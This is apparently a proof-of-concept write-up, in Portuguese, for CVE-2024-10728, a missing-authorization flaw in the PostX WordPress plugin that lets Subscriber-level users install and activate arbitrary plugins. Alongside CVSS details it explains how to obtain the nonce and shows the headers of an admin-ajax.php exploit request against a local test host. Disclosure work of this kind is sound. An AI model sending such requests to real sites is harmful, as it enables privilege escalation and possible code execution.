randomrobbiebf/cve-2024-10728PostX <= 4.1.16 - Falta de Autorização para Instalação/Ativação Arbitrária de Plugins
PostX <= 4.1.16 - Autorização Ausente para Instalação/Ativação Arbitrária de Plugins
O plugin Post Grid Gutenberg Blocks and WordPress Blog Plugin – PostX para WordPress é vulnerável à instalação/ativação não autorizada de plugins devido à falta de verificação de capacidade na função 'install_required_plugin_callback' em todas as versões até, e incluindo, 4.1.16. Isso possibilita que atacantes autenticados, com acesso de nível Assinante e superior, instalem e ativem plugins arbitrários, o que pode ser explorado para alcançar execução remota de código se outro plugin vulnerável estiver instalado e ativado.
Score: 8.8
Vendors: wpxpo
Products: Post Grid Gutenberg Blocks and WordPress Blog Plugin – PostX
CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Interaction: none
Privileges: low
Attack Vector: network
O nonce é obtido a partir do campo de segurança no seguinte JS na página de perfil quando você está conectado.
<script id="ultp-option-script-js-extra">
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</script>
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/admin.php?page=ultp-settings
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 175
Origin: http://kubernetes.docker.internal
Connection: keep-alive
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